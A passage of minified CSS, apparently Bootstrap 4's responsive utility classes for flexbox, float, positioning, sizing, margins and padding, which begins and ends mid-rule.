(min-width:992px){.flex-lg-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-lg-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-lg-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-lg-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-lg-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-lg-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-lg-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-lg-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-lg-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-lg-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-lg-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-lg-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-lg-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-lg-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-lg-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-lg-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-lg-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-lg-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-lg-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-lg-center{-ms-flex-align:center!important;align-items:center!important}.align-items-lg-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-lg-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-lg-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-lg-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-lg-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-lg-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-lg-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-lg-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-lg-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-lg-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-lg-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-lg-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-lg-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-lg-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:1200px){.flex-xl-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-xl-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-xl-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-xl-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-xl-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-xl-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-xl-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-xl-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-xl-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-xl-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-xl-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-xl-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-xl-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-xl-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-xl-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-xl-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-xl-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-xl-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-xl-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-xl-center{-ms-flex-align:center!important;align-items:center!important}.align-items-xl-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-xl-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-xl-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-xl-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-xl-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-xl-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-xl-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-xl-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-xl-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-xl-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-xl-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-xl-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-xl-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-xl-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}.float-left{float:left!important}.float-right{float:right!important}.float-none{float:none!important}@media (min-width:576px){.float-sm-left{float:left!important}.float-sm-right{float:right!important}.float-sm-none{float:none!important}}@media (min-width:768px){.float-md-left{float:left!important}.float-md-right{float:right!important}.float-md-none{float:none!important}}@media (min-width:992px){.float-lg-left{float:left!important}.float-lg-right{float:right!important}.float-lg-none{float:none!important}}@media (min-width:1200px){.float-xl-left{float:left!important}.float-xl-right{float:right!important}.float-xl-none{float:none!important}}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}@supports ((position:-webkit-sticky) or (position:sticky)){.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;overflow:visible;clip:auto;white-space:normal}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mw-100{max-width:100%!important}.mh-100{max-height:100%!important}.min-vw-100{min-width:100vw!important}.min-vh-100{min-height:100vh!important}.vw-100{width:100vw!important}.vh-100{height:100vh!important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;pointer-events:auto;content:"";background-color:rgba(0,0,0,0)}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:.25rem!important}.mt-1,.my-1{margin-top:.25rem!important}.mr-1,.mx-1{margin-right:.25rem!important}.mb-1,.my-1{margin-bottom:.25rem!important}.ml-1,.mx-1{margin-left:.25rem!important}.m-2{margin:.5rem!important}.mt-2,.my-2{margin-top:.5rem!important}.mr-2,.mx-2{margin-right:.5rem!important}.mb-2,.my-2{margin-bottom:.5rem!important}.ml-2,.mx-2{margin-left:.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:.25rem!important}.pt-1,.py-1{padding-top:.25rem!important}.pr-1,.px-1{padding-right:.25rem!important}.pb-1,.py-1{padding-bottom:.25rem!important}.pl-1,.px-1{padding-left:.25rem!important}.p-2{padding:.5rem!important}.pt-2,.py-2{padding-top:.5rem!important}.pr-2,.px-2{padding-right:.5rem!important}.pb-2,.py-2{padding-bottom:.5rem!important}.pl-2,.px-2{padding-left:.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-n1{margin:-.25rem!important}.mt-n1,.my-n1{margin-top:-.25rem!important}.mr-n1,.mx-n1{margin-right:-.25rem!important}.mb-n1,.my-n1{margin-bottom:-.25rem!important}.ml-n1,.mx-n1{margin-left:-.25rem!important}.m-n2{margin:-.5rem!important}.mt-n2,.my-n2{margin-top:-.5rem!important}.mr-n2,.mx-n2{margin-right:-.5rem!important}.mb-n2,.my-n2{margin-bottom:-.5rem!important}.ml-n2,.mx-n2{margin-left:-.5rem!important}.m-n3{margin:-1rem!important}.mt-n3,.my-n3{margin-top:-1rem!important}.mr-n3,.mx-n3{margin-right:-1rem!important}.mb-n3,.my-n3{margin-bottom:-1rem!important}.ml-n3,.mx-n3{margin-left:-1rem!important}.m-n4{margin:-1.5rem!important}.mt-n4,.my-n4{margin-top:-1.5rem!important}.mr-n4,.mx-n4{margin-right:-1.5rem!important}.mb-n4,.my-n4{margin-bottom:-1.5rem!important}.ml-n4,.mx-n4{margin-left:-1.5rem!important}.m-n5{margin:-3rem!important}.mt-n5,.my-n5{margin-top:-3rem!important}.mr-n5,.mx-n5{margin-right:-3rem!important}.mb-n5,.my-n5{margin-bottom:-3rem!important}.ml-n5,.mx-n5{margin-left:-3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:.25rem!important}.mt-sm-1,.my-sm-1{margin-top:.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:.25rem!important}.m-sm-2{margin:.5rem!important}.mt-sm-2,.my-sm-2{margin-top:.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:.25rem!important}.pt-sm-1,.py-sm-1{padding-top:.25rem!important}.pr-sm-1,.px-sm-1{padding-right:.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:.25rem!important}.pl-sm-1,.px-sm-1{padding-left:.25rem!important}.p-sm-2{padding:.5rem!important}.pt-sm-2,.py-sm-2{padding-top:.5rem!important}.pr-sm-2,.px-sm-2{padding-right:.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:.5rem!important}.pl-sm-2,.px-sm-2{padding-left:.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-n1{margin:-.25rem!important}.mt-sm-n1,.my-sm-n1{margin-top:-.25rem!important}.mr-sm-n1,.mx-sm-n1{margin-right:-.25rem!important}.mb-sm-n1,.my-sm-n1{margin-bottom:-.25rem!important}.ml-sm-n1,.mx-sm-n1{margin-left:-.25rem!important}.m-sm-n2{margin:-.5rem!important}.mt-sm-n2,.my-sm-n2{margin-top:-.5rem!important}.mr-sm-n2,.mx-sm-n2{margin-right:-.5rem!important}.mb-sm-n2,.my-sm-n2{margin-bottom:-.5rem!important}.ml-sm-n2,.mx-sm-n2{margin-left:-.5rem!important}.m-sm-n3{margin:-1rem!important}.mt-sm-n3,.my-sm-n3{margin-top:-1rem!important}.mr-sm-n3,.mx-sm-n3{margin-right:-1rem!important}.mb-sm-n3,.my-sm-n3{margin-bottom:-1rem!important}.ml-sm-n3,.mx-sm-n3{margin-left:-1rem!important}.m-sm-n4{margin:-1.5rem!important}.mt-sm-n4,.my-sm-n4{margin-top:-1.5rem!important}.mr-sm-n4,.mx-sm-n4{margin-right:-1.5rem!important}.mb-sm-n4,.my-sm-n4{margin-bottom:-1.5rem!important}.ml-sm-n4,.mx-sm-n4{margin-left:-1.5rem!important}.m-sm-n5{margin:-3rem!important}.mt-sm-n5,.my-sm-n5{margin-top:-3rem!important}.mr-sm-n5,.mx-sm-n5{margin-right:-3rem!important}.mb-sm-n5,.my-sm-n5{margin-bottom:-3rem!important}.ml-sm-n5,.mx-sm-n5{margin-left:-3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:.25rem!important}.mt-md-1,.my-md-1{margin-top:.25rem!important}.mr-md-1,.mx-md-1{margin-right:.25rem!important}.mb-md-1,.my-md-1{margin-bottom:.25rem!important}.ml-md-1,.mx-md-1{margin-left:.25rem!important}.m-md-2{margin:.5rem!important}.mt-md-2,.my-md-2{margin-top:.5rem!important}.mr-md-2,.mx-md-2{margin-right:.5rem!important}.mb-md-2,.my-md-2{margin-bottom:.5rem!important}.ml-md-2,.mx-md-2{margin-left:.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:.25rem!important}.pt-md-1,.py-md-1{padding-top:.25rem!important}.pr-md-1,.px-md-1{padding-right:.25rem!important}.pb-md-1,.py-md-1{padding-bottom:.25rem!important}.pl-md-1,.px-md-1{padding-left:.25rem!important}.p-md-2{padding:.5rem!important}.pt-md-2,.py-md-2{padding-top:.5rem!important}.pr-md-2,.px-md-2{padding-right:.5rem!important}.pb-md-2,.py-md-2{padding-bottom:.5rem!important}.pl-md-2,.px-md-2{padding-left:.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-n1{margin:-.25rem!important}.mt-md-n1,.my-md-n1{margin-top:-.25rem!important}.mr-md-n1,.mx-md-n1{margin-right:-.25rem!important}.mb-md-n1,.my-md-n1{margin-bottom:-.25rem!important}.ml-md-n1,.mx-md-n1{margin-left:-.25rem!important}.m-md-n2{margin:-.5rem!important}.mt-md-n2,.my-md-n2{margin-top:-.5rem!important}.mr-md-n2,.mx-md-n2{margin-right:-.5rem!important}.mb-md-n2,.my-md-n2{margin-bottom:-.5rem!important}.ml-md-n2,.mx-md-n2{margin-left:-.5rem!important}.m-md-n3{margin:-1rem!important}.mt-md-n3,.my-md-n3{margin-top:-1rem!important}.mr-md-n3,.mx-md-n3{margin-right:-1rem!important}.mb-md-n3,.my-md-n3{margin-bottom:-1rem!important}.ml-md-n3,.mx-md-n3{margin-left:-1rem!important}.m-md-n4{margin:-1.5rem!important}.mt-md-n4,.my-md-n4{margin-top:-1.5rem!important}.mr-md-n4,.mx-md-n4{margin-right:-1.5rem!important}.mb-md-n4,.my-md-n4{margin-bottom:-1.5rem!important}.ml-md-n4,.mx-md-n4{margin-left:-1.5rem!important}.m-md-n5{margin:-3rem!important}.mt-md-n5,.my-md-n5{margin-top:-3rem!important}.mr-md-n5,.mx-md-n5{margin-right:-3rem!important}.mb-md-n5,.my-md-n5{margin-bottom:-3rem!important}.ml-md-n5,.mx-md-n5{margin-left:-3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:.25rem!important}.mt-lg-1,.my-lg-1{margin-top:.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:.25rem!important}.m-lg-2{margin:.5rem!important}.mt-lg-2,.my-lg-2{margin-top:.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:.25rem!important}.pt-lg-1,.py-lg-1{padding-top:.25rem!important}.pr-lg-1,.px-lg-1{padding-right:.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:.25rem!important}.pl-lg-1,.px-lg-1{padding-left:.25rem!important}.p-lg-2{padding:.5rem!important}.pt-lg-2,.py-lg-2{padding-top:.5rem!important}.pr-lg-2,.px-lg-2{padding-right:.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:.5rem!important}.pl-lg-2,.px-lg-2{padding-left:.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-n1{margin:-.25rem!important}.mt-lg-n1,.my-lg-n1{margin-top:-.25rem!important}.mr-lg-n1,.mx-lg-n1{margin-right:-.25rem!important}.mb-lg-n1,.my-lg-n1{margin-bottom:-.25rem!important}.ml-lg-n1,.mx-lg-n1{margin-left:-.25rem!important}.m-lg-n2{margin:-.5rem!important}.mt-lg-n2,.my-lg-n2{margin-top:-.5rem!important}.mr-lg-n2,.mx-lg-n2{margin-right:-.5rem!important}.mb-lg-n2,.my-lg-n2{margin-bottom:-.5rem!important}.ml-lg-n2,.mx-lg-n2{margin-left:-.5rem!important}.m-lg-n3{margin:-1rem!important}.mt-lg-n3,.my-lg-n3{margin-top:-1rem!important}.mr-lg-n3,.mx-lg-n3{margin-right:-1rem!important}.mb-lg-n3,.my-lg-n3{margin-bottom:-1rem!important}.ml-lg-n3,.mx-lg-n3{margin-left:-1rem!important}.m-lg-n4{margin:-1.5rem!important}.mt-lg-n4,.my-lg-n4{margin-top:-1.5rem!important}.mr-lg-n4,.mx-lg-n4{margin-right:-1.5rem!important}.mb-lg-n4,.my-lg-n4{margin-bottom:-1.5rem!important}.ml-lg-n4,.mx-lg-n4{margin-left:-1.5rem!important}.m-lg-n5{margin:-3rem!important}.mt-lg-n5,.my-lg-n5{margin-top:-3rem!important}.mr-lg-n5,.mx-lg-n5{margin-right:-3rem!important}.mb-lg-n5,.my-lg-n5{margin-bottom:-3rem!important}.ml-lg-n5,.mx-lg-n5{margin-left:-3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:.25rem!important}.mt-xl-1,.my-xl-1{margin-top:.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:.25rem!important}.m-xl-2{margin:.5rem!important}.mt-xl-2,.my-xl-2{margin-top:.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:.25rem!important}.pt-xl-1,.py-xl-1{padding-top:.25rem!important}.pr-xl-1,.px-xl-1{padding-right:.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:.25rem!important}.pl-xl-1,.px-xl-1{padding-left:.25rem!important}.p-xl-2{padding:.5rem!important}.pt-xl-2,.py-xl-2{padding-top:.5rem!important}.pr-xl-2,.px-xl-2{padding-right:.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:.5rem!important}.pl-xl-2,.px-xl-2{padding-left:.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-n1{margin:-.25rem!important}.mt-xl-n1,.my-xl-n1{margin-top:-.25rem!important}.mr-xl-n1,.mx-xl-n1{margin-right:-.25rem!important}.mb-xl-n1,.my-xl-n1{margin-bottom:-.25rem!important}.ml-xl-n1,.mx-xl-n1{margin-left:-.25rem!important}.m-xl-n2{margin:-.5rem!important}.mt-xl-n2,.my-xl-n2{margin-top:-.5rem!important}.mr-xl-n2,.mx-xl-n2{margin-right:-.5rem!important}.mb-xl-n2,.my-xl-n2{margin-bottom:-.5rem!important}.ml-xl-n2,.mx-xl-n2{margin-left:-.5rem!important}.m-xl-n3{margin:-1rem!important}.mt-xl-n3,.my-xl-n3{margin-top:-1rem!important}.mr-xl-n3,.mx-xl-n3{margin-right:-1rem!important}.mb-xl-n3,.my-xl-n3{margin-bo